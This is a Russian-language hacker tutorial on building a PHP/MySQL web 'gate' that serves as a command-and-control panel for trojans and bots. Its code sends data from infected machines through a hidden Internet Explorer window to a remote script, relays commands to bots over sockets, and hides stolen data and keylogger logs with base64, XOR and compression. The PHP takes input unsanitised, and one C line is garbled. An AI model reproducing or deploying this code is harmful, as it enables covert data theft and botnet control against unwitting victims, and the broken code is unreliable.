+------------------------------------------------------------------------------+
| Гейт, как новое поколения клиентов. |
+------------------------------------------------------------------------------+
1. ОГЛАВЛЕНИЕ
________________________________________________________________________________
1. Оглавление..............................................................[ ]
2. Ведение.................................................................[ ]
3. Ведение в веб-интерфейсы................................................[ ]
4. Язык программирования...................................................[ ]
4.1 Какой язык выбрать для веб-программирования.........................[ ]
4.1.1 PHP............................................................[ ]
4.1.2 Perl...........................................................[ ]
4.1.3 ASP............................................................[ ]
5. Краткие основы и плюсы PHP+SQL..........................................[ ]
5.1 Введения в PHP+SQL..................................................[ ]
5.2 Работа с сокетами...................................................[ ]
6. Работа с гейтом.........................................................[ ]
6.1 Передача данных скрипту.............................................[ ]
6.2 Передача команд серверу.............................................[ ]
6.3 Прием данных, работа с сокетами.....................................[ ]
7. Безопасная передача данных..............................................[ ]
7.1 base64..............................................................[ ]
7.1.1 Алфавит Base64................................................[ ]
7.1.2 Кодирование и декодирование функциями PHP.....................[ ]
7.1.3 Алгоритм кодирования и декодирования на С.....................[ ]
7.2 xor.................................................................[ ]
7.2.1 XOR кодирование на C++........................................[ ]
7.2.2 Декодируем на PHP.............................................[ ]
8. Работа с архивами.......................................................[ ]
8.1 ZIP.................................................................[ ]
8.2 GZIP................................................................[ ]
8.3 bzip2...............................................................[ ]
8.4 CAB.................................................................[ ]
9. END....................................................................[ ]
10. Приложения.............................................................[ ]
11. Литература и полезные ссылки...........................................[ ]
12. greetz.................................................................[ ]
2. ВВЕДЕНИЕ
________________________________________________________________________________
Думаю не секрет, что любой троян передает данные его владельцу. Система удаленного администрирования также
передает данные, но еще и принимает команды от пользователя. Способов приема данных достаточно много- E-mail, ICQ,
специально написанные клиенты для сервера и т.д. Но большинство из этих способов имеют некоторые недостатки.
Например, отправка данных на мыло может быть отфильтрована спам - фильтрами, на icq также есть риск что
информация не дойдет до своего получателя. IP-адрес с которого конектился клиент к серверу, тоже очень легко узнать,
и если пользователь не использовал прокси-сокс-сервера, то последствия могут быть печальными. В этой статье я
попробую решить все недостатки существующих способов , а так же уменьшить размер Вашего сервера за счет
использования в качестве клиента Веб-Интерфейс (далее просто Гейт).
3. ВВЕДЕНИЕ В ГЕЙТЫ - возможности, все "за" и "против".
________________________________________________________________________________
Гейт (от англ. слова Gate - компьют. гейт, шлюз) - в нашем понимании будет означать Веб-интерфейс, клиент, который
принимает, перенаправляет и передает параметры серверу.
Работа с веб-серверами и скриптами уже давно используется программистами для решения различных задач. Но вот
почему-то в области работы с серверами троянов этот термин появился совсем недавно. Особенно у нас в России
многие еще задают вопросы что это такое и как он работает. Если я не ошибаюсь, то первый троян, в котором была
реализована работа со скриптом, размещенном на веб - сервере, является Pinch. В нем существует возможность работы
с http протоколом, в комплекте с трояном идет скрипт, который принимает зашифрованную информацию и перенаправляет его
на E-mail. Таким образом решаются возможные проблемы с smtp - сервером. Так же это способствовало обходу первых
версий фаервола, так как он передавал методом POST в скрытом окне Internet Explorer, а он являлся доверенным
приложениям у многих пользователей. Но разработчики межсетевых экранов тоже не стоят на месте, и вскоре
реализовали контроль над компонентами, поэтому уже не встретишь фаерволов, которые не заблокируют и не выведут
ужасное предупреждения о возможной утечки данных с Вашего компьютера.
Теперь перейдем к плюсам. О некоторых из них Вы уже узнали из моих первых строк, но сейчас попробуем взглянуть на
них более серьезно. Давайте представим,что у Вас есть в подчинении несколько тысяч ботов.Как происходит их управление?
Конечно же через irc или специальный клиент. Да, это неплохой способ управления ботами. Но могут возникнуть проблемы
с каналом, так как их очень часто убивают операторы сети, а поднимать свой ирц-сервер не так уж и просто. А для
гейта вам понадобится только хостинг с поддержкой скриптовых языков и SQL. А если реализовать в ботах,
например, чтобы они каждые 15 минут стучались к скриту, то вам не придется прозванивать всех ботов, дабы узнать
активных. Вам останется только зайти в Гейт и Вы всегда будете в курсе сколько активных машин было за последние 15
минут. И даже без реализации в боте или трояне передачи Ip-адреса и другой сис. инфы, мы по рефереру сможем узнать не
только какой ИП у машины, но и в какой стране она находится, какая скорость, какой язык интерфейса
используется и многое другое. Любой программист сразу поймет, что это сэкономит драгоценные байты, а может даже и
килобайты кода.
О минусах я пожалуй говорить не буду - это индивидуально для каждого. Вы сами сможете взвесить все за и против после
прочтения всей статьи.
3. ОПЕРАЦИОННЫЕ СИСТЕМЫ
________________________________________________________________________________
Определенной привязки к операционной системе нет, она может быть любой, главное чтобы была поддержка того языка,
на котором Вы решили программировать, за исключением ASP. Тут Вам придется ограничится Windows-платформами. Но так
как большинство серверов в сети находятся под управлением UNIX-систем, на них мы и будем ориентироваться.
4. ЯЗЫК ПРОГРАММИРОВАНИЯ
________________________________________________________________________________
Так же как и операционные системы, язык программирования может быть любой, лично мой выбор уже давно лег на PHP.
Почему? Мы сейчас попробуем разобрать все основные языки, которые используются в Веб-кодинге. А выбирать уже Вам.
4.1 PHP
-----------------------------
В этой статье мы будем программировать на PHP, с него я и хочу начать. PHP - серверный язык, выполняется
на стороне сервера. Он интерпретируется Веб - сервером, и генерирует HTML - код для вывода. Его разработку начал
Расмус Лердорф в 1994г. Сейчас этот язык широко используется и является лучшим для программирования Web. Он
обладает высокой производительностью, имеет множество библиотек, которые помогают решать многие задачи, связанные с
Web, ну и конечно же простота изучения и использования. Хочу еще отметить, что на нем легко можно использовать
различные системы Баз Данных, что тоже немаловажно.
4.2 Perl
-----------------------------
Perl так же является серверным, интерпретируемым языком , созданным программистом Лари Уоллом (Larry Wall) для
обработки больших текстов и файлов. Аббревиатура расшифровывается как Practical Extraction and Report Language (язык
для практического извлечения данных и составления отчетов). Но после того, как стал набирать обороты World Wide Web,
Perl оказался прекрасным средством для взаимодействия с web-серверами через Common Gateway Interface (CGI).
4.3 ASP
-----------------------------
ASP (Active Server Pages) Ц это мощная технология от Microsoft, позволяющая легко разрабатывать приложения для WWW.
ASP работает на платформе Windows NT и IIS (Internet Information Server), начиная с версии 3, хотя вроде есть
реализации на других платформах. ASP Ц это не язык программирования, это внутренняя технология, позволяющая
подключать программы к Web-страницам. Основа успеха ASP Ц простой скриптовый язык ( Visual Basic Script или Java
Script) и возможность использования внешних COM-компонентов.
5. КРАТКИЕ ОСНОВЫ И ПЛЮСЫ PHP+SQL
________________________________________________________________________________
В этой статье я не буду Вас учить PHP как возможно могло показаться, прочитав оглавление. Для этого и без меня
написано немало статей и книг, я лишь приведу плюсы и дам некоторые советы, которые помогут в дальнейшем изучении
и программировании на PHP+SQL.
Итак , всегда придерживайтесь общих правил программирования, старайтесь писать грамотный и читабельный код.
Старайтесь в сложных блоках кода использовать комментарии, а то случаются такие ситуации, что часто приходится
возвращаться к коду, который был написан относительно давно, и можно запутаться или тратить драгоценное время на
разбор.
Если Вы используете Базы данных, сначала попробуйте разработать примерную структуру, и в ходе написания скриптов уже
дорабатывайте полностью. Используйте индексы и не создавайте дополнительные поля, которые будут идентифицировать
записи. Можно еще дать много советов, но не буду на этом заострять внимание. Как я уже говорил, есть много очень
интересных книг.
5.1 Введения в PHP+SQL
-----------------------------
Передача от сервера ничем не отличается передачи от формы, поэтому для начала нужно научиться работать с формами.
Итак, существуют два метода передачи данных скрипту.
GET - отображает имена переменных и данные в строке браузера.
POST - является более безопасным методом в отличие от GET и в основном используют его.
Продемонстрирую на примере. Давайте создадим форму, которая передаст в скрипт данные, там мы их примем и обработаем.
Ниже приведена HTML-форма:
;---------------------------------------------------------------------------------------------------------------------
// form.html
<form action="script.php" method="GET">
<textarea name="ip" rows=5 cols >
127.0.0.1
127.0.0.2
127.0.0.3
</textarea><br>
<input type="submit" value="Отправить">
</form>
;---------------------------------------------------------------------------------------------------------------------
Теперь после того, как пользователь нажмет в форме кнопку submit в script.php методом GET передадутся данные из
формы. Вот точно также в скрытом или показанном окне IE можно передавать данные от сервера, точнее они будут
одинаково передаваться, а следовательно, способ получения ничем отличаться не будет.Давайте представим, что наша форма
есть 10 - ки ботов, которые передают свои IP-адреса, а мы их получим и занесем в БД как активные машины.
Для начала разработаем БД MySQL.
;---------------------------------------------------------------------------------------------------------------------
// mysql.sql
#Создаем таблицу activ_ip
CREATE TABLE activ_ip (
id int unsigned NOT NULL AUTO_INCREMENT,
ip char(20) NOT NULL, #создаем поле char
PRIMARY KEY (id) # устанавливаем примари кей на id
);
// script.php
<?php
конект к БД
...
$ip = $HTTP_GET_VARS['ip'];
// Проверяем на существование переменной
if (isset($ip)) {
// Разделяем строку по началу новой строки в массив
$activ_ip = explode("\n", $ip);
// Перебираем массив
for ($i=0; $i<count($activ_ip); $i++) {
// Заносим IP-адреса а БД
mysql_query("INSERT INTO activ_ip (ip) VALUES ('$activ_ip[$i]')");
}
}
?>
;---------------------------------------------------------------------------------------------------------------------
Да вот и все, принять данные не сложно, но мы создаем не просто гейт, а клиент, который не только будет принимать
данные, но и управлять сервером. И далее мы будем разбирать основы работы с сокетами.
5.2 Работа с сокетами
-----------------------------
Работа с сокетами на PHP по большему счету мало чем отличается от работы на других языках. Решил не томить Вас
различными определениями, поэтому сразу приступим. Итак, для начала нужно открыть сокет соединения, за что отвечает
функция fsockopen(), ниже приведен ее прототип:
int fsockopen (string hostname, int port [, int errno [, string errstr [, float timeout]]])
Она инициирует поточное соединение в домене Internet (AF_INET, используя TCP или UDP ) или Unix ( AF_UNIX ). Для
домена Internet открывает сокет соединения TCP с hostname через порт port. hostname может быть в этом случае
либо полным квалифицированным именем домена, либо IP-адресом. Получить или передать строку можно при помощи функций
fputs() fgets(). Рассмотрим небольшой пример: функция коннекта к WHOIS-серверу и получение результата
;---------------------------------------------------------------------------------------------------------------------
<?php
function Connect_Whois () {
// Открываем сокет с заданным сервером и портом
$fp = fsockopen ("whois.ripe.net", "43", $errno, $errstr, 60);
if (!$fp) {
$reply = "$errstr ($errno)<br>\n";
} else {
// Пишем в сокет данные о домене blacklogic.net
fputs ($fp, "blacklogic.net\r\n");
//Вычитываем все до точки EOF, все что ответил нам сервер
while (!feof($fp)) {
$tmp_reply = fgets ($fp,128);
$tmp_reply = str_replace("\r", "", $tmp_reply);
$tmp_reply = str_replace("\n", "<br>\n", $tmp_reply);
$tmp_reply = str_replace(" ", " ", $tmp_reply);
if (substr($reply, 0, 1) == " ") {
$tmp_reply = substr_replace($tmp_reply, " ", 0, 1);
}
$reply .= $tmp_reply;
}
fclose ($fp);
return($reply); // Возвращаем результат ответа
}
?>
;---------------------------------------------------------------------------------------------------------------------
6. РАБОТА С ГЕЙТОМ
________________________________________________________________________________
Вот мы и подошли к основной части статьи. В следующих главах мы будем разрабатывать полноценную систему
клиент(гейт) - сервер. Пред тем как начать разработку, мы должны иметь сервер, который будет работать с гейтом. С
него и начнем. Сейчас мы попробуем разобрать способы передачи данных в гейт.
6.1 Передача данных скрипту
-----------------------------
На мой взгляд, самым простым способом передачи скрипту данных является создание процесса Internet Explorer`а, и в
качестве параметра передача ему урла. Передавать данные, можно как в скрытом окне IE, так и в показанном. Если
заглянуть в msdn, то можно узнать , что создать процесс(вызвать внешнюю программу) можно с помощью двух winapi функций
WinExeс и CreateProcess. Также существует ShellExecute, но рассматривать мы ее не будем. WinExe является
устаревшей функцией, и уже давно не используется, притом она реализована только для совместимости с Win 16
приложениями, а приложения Win 32 должны реализовывать данную возможность через CreateProcess. . Есть и еще один
способ работы с браузером: например, существует интерфейс IWebBrowser2, который содержит методы отправки данных
методом POST. Например, с помощью функции Navigate2,
HRESULT Navigate2(
VARIANT *URL,
VARIANT *Flags,
VARIANT *TargetFrameName,
VARIANT *PostData,
VARIANT *Headers
);
можно будет отправить данные. Но рассматривать мы ее не будем. На самом деле способов работы с браузером существует
довольно много, и описать их все невозможно,для этого и существует msdn.microsoft.com. Итак,вернемся к CreateProcess.
На данный момент это основная функция запуска процесса, давайте рассмотрим небольшой пример:
;---------------------------------------------------------------------------------------------------------------------
// структура, используется для настройки свойств процесса, например, расположения окон и заголовка.
STARTUPINFO si;
// структура PROCESS_INFORMATION с информацией о процессе.
PROCESS_INFORMATION pi;
memset( &si, 0, sizeof(si) );
memset( &pi, 0, sizeof(pi) );
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW; // Показываем окно; если не хотим, то SW_HIDE
CreateProcess(
"EXPLORER.EXE", // Запускаемый процесс (имя исполняемого модуля)
" http://www.blacklogic.net", // Параметр запуска (командная строка)
0,
0,
false, // Флаг наследования текущего процесса
CREATE_NEW_CONSOLE, // Указатель на блок среды
0,
0,
&si, // Указатель нас структуру STARTUPINFO
&pi // Указатель нас структуру PROCESS_INFORMATION
);
;---------------------------------------------------------------------------------------------------------------------
Я думаю все уже догадались,что в качестве параметра можно указать имя переменной в скрипте и передать ей все данные,
например http://www.blacklogic.net/gate/script.php?var1345 и т.д. В данном примере мы использовали EXPLORER.EXE,
который лежит в директории WINDOWS. Понятное дело, что до него легко добраться и не возникнет проблемы, что его там
не окажется, в отличии от %ProgramFiles%\internet explorer\IEXPLORE.EXE. Но не все так просто. Если передавать в
качестве параметра урл вида "http://www.blacklogic.net", то EXPLORER.EXE, автоматически редирекнет на EXPLORER.EXE.
Но если передать урл вида "http://www.blacklogic.net/gate/script.php?var1345", то он выдаст ошибку что путь
"12345" не существует или не является каталогом. Как же выйти из этой ситуации? Есть два решения:
1. Использовать %ProgramFiles%\internet explorer\IEXPLORE.EXE
2. Передавать в качестве параметра урл, объединенный в двойных "кавычках".
Мы рассмотрим оба варианта.
Итак,мы решили использовать IEXPLORE.EXE,и тут сразу же возникает вопрос: как правильно добраться до %ProgramFiles%?
Очень просто :) В библиотеке shell32.dll, находится функция:
WINSHELLAPI HRESULT WINAPI SHGetSpecialFolderLocation
(
HWND hwndOwner,
int nFolder,
LPITEMIDLIST *ppidl
);
которая и даст Вам возможность узнать специальные папки Windows. В функцию SHGetSpecialFolderLocation передается
константа, которая характеризует имя папки, которую нужно получить, и возвращает указатель на данные (pidl), на основе
которого, используя функцию:
WINSHELLAPI BOOL WINAPI SHGetPathFromIDList
(
LPCITEMIDLIST pidl,
LPSTR pszPath
);
можно получить само имя. Ниже приведен пример использования:
;---------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include "Shlobj.h"
int WINAPI WinMain(HINSTANCE, HINSTANCE, PTSTR, int)
{
LPITEMIDLIST pidl;
char buffer[256];
SHGetSpecialFolderLocation(NULL,CSIDL_PROGRAM_FILES ,&pidl);
if (pidl==NULL)
{
MessageBox(0,"Error","CSIDL_PROGRAM_FILES",0);
}
SHGetPathFromIDList(pidl,buffer);
MessageBox(0,buffer,"CSIDL_PROGRAM_FILES",0); // покажет путь к директории %Program Files%
return 0;
}
;---------------------------------------------------------------------------------------------------------------------
Теперь рассмотрим пример, который запустит IEXPLORE.EXE из директории %Program Files% с помощью ShellExecute в
скрытом окне.
;---------------------------------------------------------------------------------------------------------------------
#include <windows.h>
#include "Shlobj.h"
HWND hwnd;
int WINAPI WinMain(HINSTANCE, HINSTANCE, PTSTR, int)
{
LPITEMIDLIST pidl;
char buffer[256];
SHGetSpecialFolderLocation(NULL,CSIDL_PROGRAM_FILES ,&pidl);
if (pidl==NULL)
{
MessageBox(0,"Error","CSIDL_PROGRAM_FILES",0);
}
SHGetPathFromIDList(pidl,buffer);
lstrcat(buffer,"\\Internet Explorer\\IEXPLORE.EXE");
ShellExecute(hwnd, "open", buffer, "http://www.blacklogic.net/gate/script.php?var1345", 0, SW_HIDE);
return 0;
}
;---------------------------------------------------------------------------------------------------------------------
Второй способ не является самым правильным, так как лучше конечно использовать IEXPLORE.EXE,но все же это вариант ;)
Заключается он в том, что можно передать в EXPLORER.EXE в качестве параметра URL в "кавычках" например:
EXPLORER.EXE "http://www.blacklogic.net/gate/script.php?var1345"
Рассмотрим пример запуска:
;---------------------------------------------------------------------------------------------------------------------
GetWindowsDirectory(buffer,256);
lstrcat(buffer,"\\EXPLORER.EXE");
ShellExecute(hwnd, "open", buffer, "\"http://www.blacklogic.net/gate/script.php?var1345\"", 0, SW_HIDE);
;---------------------------------------------------------------------------------------------------------------------
Так же хочу заметить, что существует константа %Programfiles%, но это не самый лучший способ получить доступ к
Program Files
6.2 Передача команд серверу
-----------------------------
Итак, передавать команды серверу мы будем через сокет на PHP. Небольшой пример мы уже рассмотрели,так что описывать
что да как не буду, а лишь приведу пример. Полный скрипт вы найдете в приложениях к статье.
;---------------------------------------------------------------------------------------------------------------------
<?php
if ($_POST['cmd'] || $_POST['host'] || $_POST['port']) {
$fp = fsockopen ($_POST['host'], $_POST['port'], $errno, $errstr, 60);
if (!$fp) {
$reply = "$errstr ($errno)<br>\n";
echo<<<EOF
<pre><font color="#FF0000"> {$reply} </font></pre>
EOF;
} else {
fputs ($fp, $_POST['cmd']);
echo<<<EOF
<pre><font color="#FF0000"> command "{$_POST['cmd']}" get ok :) </font></pre>
EOF;
}
fclose ($fp);
}
?>
;---------------------------------------------------------------------------------------------------------------------
6.3 Прием данных, работа с сокетами
-----------------------------
Если вы уже работали с сокетами, то ничего нового я вам в этой главе не поведаю, все осуществляется точно также
как и везде. Работать мы будем напрямую с WinSock, можно конечно воспользоваться MFC-объектами, например CSocket,
но размер приложения получится очень большой для троянского сервера, а нас это естественно не устраивает. Для
работы с сетью в Windows используется библиотека WinSock. Хотя возможностей первой версии WinSock вполне хватит, мы
все же будем работать с версией WinSock2. Для начала нужно будет подключить хедер файл winsock2.h или winsock.h
для первой версии. Чтобы загрузить саму библиотеку, нужно воспользоваться функцией WSAStartup, в первом параметре
нужно будет указать версию запрашиваемой библиотеки, во втором указатель на структуру WSADATA. При успешной загрузке
библиотеки функция вернет нулевое значение, в противном случае она вернет код ошибки.
;---------------------------------------------------------------------------------------------------------------------
// Пример загрузки библиотеки WinSocks2
WSADATA wsaData; // Структура WSADATA
int err = WSAStartup(MAKEWORD(2,0), &wsaData);
if (err != 0) {
return; // Сообщаем, если библиотека не была успешно загружена
}
;---------------------------------------------------------------------------------------------------------------------
Как видите все очень просто, так же просто и выгрузить загруженную библиотеку с помощью функции WSACleanup, которая
не принимает никаких параметров.
// Функция освобождает библиотеку
int WSACleanup(void);
Остальные функции рассмотрим на примере. Пример работы с сокетами, прием данных от скрипта:
;---------------------------------------------------------------------------------------------------------------------
DWORD WINAPI ServerRecv(LPVOID lpParam)
{
SOCKET sock=(SOCKET)lpParam;
char szRecvBuff[1024];
int ret;
while(1)
{
// Получаем данные
ret = recv(sock, szRecvBuff, 1024, 0);
if (ret == SOCKET_ERROR)
{
MessageBox(0, "Recive Error", "Error", 0);
break;
}
else
{
MessageBox(0, szRecvBuff, "Comand ok", 0);
break;
}
}
return 0;
}
DWORD WINAPI ServerGate()
{
SOCKET s,
sGate;
struct sockaddr_in localaddr, clientaddr;
HANDLE hThread;
int iSize;
// Создаем сокет
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
// будет ожидать соединение на любом сетевом интерфейсе
localaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// указываем, что используются Интернет протоколы
localaddr.sin_family = AF_INET;
// указываем порт
localaddr.sin_port = htons(8181);
// Связываем сетевой локальный адрес с сокетом
bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
// Прослушиваем порт
listen(s, 4);
while (1)
{
iSize = sizeof(clientaddr);
// ждем соединение, если есть принимаем
sGate = accept(s, (struct sockaddr *)&clientaddr,
&iSize);
// Создаем поток
hThread = StartThread(ServerRecv,(LPVOID)sGate);
CloseHandle(hThread);
}
// Закрываем сокет
closesocket(s);
return 0;
}
;---------------------------------------------------------------------------------------------------------------------
7. БЕЗОПАСНАЯ ПЕРЕДАЧА ДАННЫХ
________________________________________________________________________________
Прочитав предыдущие главы, мы уже научились передавать, получать, другими словами обмениваться данными между гейтом
и сервером. И можно было бы уже заканчивать главную часть статьи и передавать респекты, если не еще один очень
немаловажный аспект передачи данных. А заключается он в том, что передавать просто данные не совсем правильно, так
как в них могут оказаться специальные символы, которые не будут экранироваться и скрипт может подумать, что ему
передают еще одну переменную и т.д. Для более безопасной передачи данных был разработан алгоритм base64, который мы
более подробно рассмотрим чуть ниже.
7.1 Base64
-----------------------------
Base64 обеспечивает сохранность передаваемых данных, в частности он используется в стандарте MIME, для пересылаемых
данных по email. Кодирующий и декодирующий алгоритмы очень просты, но закодированные данные примерно на 33% больше.
Base64 использует 65-символьный поднабор из US-ASCII, выделяя 6 бит на каждый печатный символ. Процесс кодирования
преобразует 4 входных символа в виде 24-битной группы, обрабатывая их слева направо. Потом они рассматриваются как 4
соединенные 6-битные группы, каждая из которых транслируется в одиночную цифру алфавита base64, который я приведу
ниже. Более подробную информацию можно прочитать в документе RFC1521, RFC2045.
7.1.1 Алфавит base64
-----------------------------
Значение Код Значение Код Значение Код Значение Код
0 A 17 R 34 i 51 z
1 B 18 S 35 j 52 0
2 C 19 T 36 k 53 1
3 D 20 U 37 l 54 2
4 E 21 V 38 m 55 3
5 F 22 W 39 n 56 4
6 G 23 X 40 o 57 5
7 H 24 Y 41 p 58 6
8 I 25 Z 42 q 59 7
9 J 26 a 43 r 60 8
10 K 27 b 44 s 61 9
11 L 28 c 45 t 62 +
12 M 29 d 46 u 63 /
13 N 30 e 47 v
14 O 31 f 48 w = (заполнитель)
15 P 32 g 49 x
16 Q 33 h 50 y
7.1.2 Кодирования и декодирования функциями PHP
-----------------------------
Процесс кодирования и декодирования на PHP очень прост, так как там уже предусмотрены две встроенных функций:
// кодирует данные способом MIME base64
// base64_encode() возвращает данные, кодированные методом base64
string base64_encode (string data)
// декодирует данные, кодированные способом MIME base64
// base64_decode() декодирует encoded_data и возвращает оригинальные данные
string base64_decode (string encoded_data)
Рассмотрим пример работы, возьмем строку "тест", и сначала закодируем их, а потом декодируем.
;---------------------------------------------------------------------------------------------------------------------
<?php
$string = "тест";
if (isset($string)) {
echo "Первоначальная строка: {$string} <br>";
$enbase = base64_encode($string); // кодируем данные
echo "Base64: {$enbase} <br>";
$debase = base64_decode($enbase); // Декодируем данные
echo "Decode Base64: {$debase} <br>";
} else {
echo "Нечего кодировать!";
}
?>
;---------------------------------------------------------------------------------------------------------------------
7.1.3 Алгоритм кодирования на С
-----------------------------
Как я уже сказал, передавать данные мы будем в base64, поэтому для этого нам понадобится алгоритм, который будет
кодировать данные в base64. Ниже приведен код, который читает файл и кодирует данные. Как уже некоторые заметили, на
Си это чуть сложнее, чем на PHP :) Так же на wasm.ru есть библиотека base64.lib, которую тоже можно использовать для
работы с base64.
;---------------------------------------------------------------------------------------------------------------------
static void base64_t2q(BYTE *t, BYTE *q)
{
BYTE alpha[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
q[0] = alpha[t[0] >> 2];
q[1] = alpha[((t[0] & 03) << 4) | (t[1] >> 4)];
q[2] = alpha[((t[1] & 017) << 2) | (t[2] >> 6)];
q[3] = alpha[t[2] & 077];
}
static int msg_b64enc(char *outbuf, char *filename)
{
HANDLE hIn;
BYTE inbuf[1024], t[3], q[3];
DWORD tp, inp, inlen, outp, i, linepos;
const DWORD linelen = 76;
hIn = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);
if (hIn == INVALID_HANDLE_VALUE) return 1;
for (tp=0, inp=0, inlen=0, outp=0, linepos=0;;) {
if (inp >= inlen) {
ReadFile(hIn, inbuf, sizeof(inbuf), &inlen, NULL);
if (inlen == 0) break;
inp = 0;
}
t[tp++] = inbuf[inp++];
if (tp == 3) {
base64_t2q(t, q);
for (i=0; i<4; i++) {
outbuf[outp++] = q[i];
if (Xz, >= linelen) {
outbuf[outp++] = '\r';
outbuf[outp++] = '\n';
linepos = 0;
}
}
memset(t, 0, sizeof(t));
tp = 0;
}
}
if (tp) {
base64_t2q(t, q);
if (tp < 3) q[3] = '=';
if (tp < 2) q[2] = '=';
for (i=0; i<4; i++)
outbuf[outp++] = q[i];
}
outbuf[outp] = 0;
CloseHandle(hIn);
return 0;
}
;---------------------------------------------------------------------------------------------------------------------
7.2 XOR
-----------------------------
Вот на этом уже можно закончить, но вы никогда не задумывались, что информация, предназначенная вам, может быть
перехвачена третьими лицами? Конечно смотря какую информацию вы крадете, передаете и т.д. Но я думаю, в любом
случае будет неприятно, что весь труд вашей работы будет использоваться людьми, которые нашли способ получать
эти данные. Как же защитить информацию? Способов достаточно много, мы рассмотрим наиболее простой вариант
кодирования и одновременно надежный. А именно, мы будем использовать XOR. Он является симметричной операцией, в
которой для зашифровки и расшифровки используется один и тот же ключ. Этот алгоритм является обратимым. XOR
представляет собой операцию "исключающее или" ('^' в языке C). Это бинарная операция над битами, действующая по
правилу:
a b a XOR b
0 0 0
0 1 1
1 0 1
1 1 0
то есть 'a' соответствует 'b', 'b' соответствует 'c' и т.д.
7.2.1 XOR-кодирование на C
-----------------------------
;---------------------------------------------------------------------------------------------------------------------
int main(int argc, char *argv[])
{
int count;
int byte;
FILE *in,*out;
if(argc < 4) { // Проверяем введенное кол-во аргументов
usage(); // Если меньше, выводим синтаксис запуска
return 0;
}
if (( in = fopen(argv[1], "rb")) == NULL) // Проверяем, успешно ли он открыт
{
printf("No file %s.\n", argv[1]);
}
if (( out = fopen(argv[2], "wb")) == NULL) // Проверяем, успешно ли он открыт
{
printf("Error %s.\n", argv[2]);
}
while(( count = getc(in)) != EOF) // Читаем до конца
{
count = count ^ atoi(argv[3]); // Ксорим файл
byte++;
putc(count, out); // Пишем в out
}
fclose(in); // Закрываем in файл
fclose(out); // Закрываем out фай
return 0;
}
;---------------------------------------------------------------------------------------------------------------------
После того как мы запустим, например: xor.exe file1.txt file2.txt 34, то получим кодированные данные в файле
file2.txt. Как видите, алгоритм очень прост и его можно использовать практически везде. Хочу еще заметить, что
передаваемый ключ должен быть числом, так как я перевел char в int atoi(argv[3]), если вы хотите использовать
текстовый ключ, измените код на count = count ^ *argv[3];
7.2.2 Декодируем на PHP
-----------------------------
После того как мы закодировали данные и передали их скрипту, нам нужно их раскодировать. Для этого вам понадобится
ключ (мы использовали 34), которым шифровали данные. Алгоритм декодирования такой же как и кодирования, в этот
раз я приведу его на PHP.
;---------------------------------------------------------------------------------------------------------------------
<?php
function xor_string($string, $key)
{
$buf = '';
$size = strlen($string);
for ($i=0; $i<$size; $i++)
$buf .= chr(ord($string[$i]) ^ $key); // Декодируем данные
return $buf;
}
?>
;---------------------------------------------------------------------------------------------------------------------
8. РАБОТА С АРХИВАМИ
________________________________________________________________________________
Возникает ситуация, когда приходится передавать информацию в больших объемах, например лог кейлоггера, который
может достигать нескольких мегабайт. Чтобы уменьшить время передачи и приема данных, приходится паковать лог. Я не
буду заострять ваше внимание на том как получить архив, тут можно воспользоваться и библиотекой Zlib.dll. В общем,
существует достаточно много способов. Но на мой взгляд самым простым способом, который не увеличит намного размер
вашего трояна - это воспользоваться виндовой утилитой makecab для создания СAB-архивов. Ей достаточно передать файл,
который нужно запаковать и имя запакованного файла.
Второй вопрос,который возникает - это как принимать архив? Если вы знакомы с основами php, то принять архив GZIP или
bzip2 для вас не составит большого труда, но вот ситуация с zip и тем более с CAB немного иная. Как? вы скажете, ведь
в пхп предусмотрена специальная библиотека ziplib для работы с zip-архивами. Угу, предусмотрена, вот только она не
включена на 95% юниксовых хостингах, поэтому приходится использовать свой класс для распаковки zip-архивов, который
мы рассмотрим в следующих главах. Ситуация с CAB еще хуже, но об этом позже.
8.1 ZIP
-----------------------------
Как я уже выше отметил, хостинги очень часто не компилируют пхп с поддержкой zip lib, но я не хочу оставлять ее без
внимания, и мы должны знать как с ней работать, так как это более правильный вариант приема zip -архивов. Итак,
рассмотрим пример:
;---------------------------------------------------------------------------------------------------------------------
<?php
$zip = zip_open("/tmp/test2.zip"); // Откроем архив
if ($zip) { // Прверяем, успешно ли он открыт
while ($zip_entry = zip_read($zip)) { // Читаем каждый файл в архиве
if (zip_entry_open($zip, $zip_entry, "r")) { // Открываем сам файл (очень схожа с функцией fopen())
echo "File Contents:\n";
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); // Читаем его содержимое и помещаем его
// в переменную $buf.
echo "$buf\n"; // Собственно выводим то, что считали в переменную $buf.
zip_entry_close($zip_entry); // Закрываем текущий файл в архиве
}
echo "\n";
}
zip_close($zip); // Закрываем архив
}
?>
;---------------------------------------------------------------------------------------------------------------------
Если этот вариант вам не доступен, и вы не можете использовать zip lib, то в приложениях к статье Вы найдете класс,
который позволяет работать с архивами zip. С помощью него вы сможете не только распаковывать архивы, но и создавать
их. Немного опишу, как работать с ним.
Для распаковки архива вам нужно будет воспользоваться функцией Extract.
Пример распаковки:
;---------------------------------------------------------------------------------------------------------------------
<?
include("zip.lib.php");
$zip = new Zip;
// Указываем архив, директорию куда распаковывать, и то что нужно распаковать все файлы
$zip->Extract("test.zip","files",{-1});
?>
;---------------------------------------------------------------------------------------------------------------------
Пример создания архива:
;---------------------------------------------------------------------------------------------------------------------
<?
include("zip.lib.php");
$zip = new Zip;
$zip->Add(Array(Array("t.txt","Text"),Array("folder/")),0);
fputs(fopen("test.zip","wb"), $zip->get_file() );
?>
;---------------------------------------------------------------------------------------------------------------------
8.2 GZIP
-----------------------------
С GZIP все очень просто, библиотека Zlib включена на 99% хостингах и включена по умолчанию, начиная с версии
php 4.3.0. Ниже приведен пример распаковки GZIP архива.
;---------------------------------------------------------------------------------------------------------------------
<?php
$zp = gzopen($filename, "r"); // открываем файл для чтения
gzpassthru($zp); // выводим до конца файла и закрываем его
?>
;---------------------------------------------------------------------------------------------------------------------
8.3 bzip2
-----------------------------
Функции для работы с bzip2 архивами также были предусмотрены в пхп. Чем удобно работать с bzip2 - это тем, что
существует 2 функции, которые сжимают и разжимают закодированные строки.
string bzdecompress (string source [, int small]) - выполняет декомпрессию bzip2-кодированных данных.
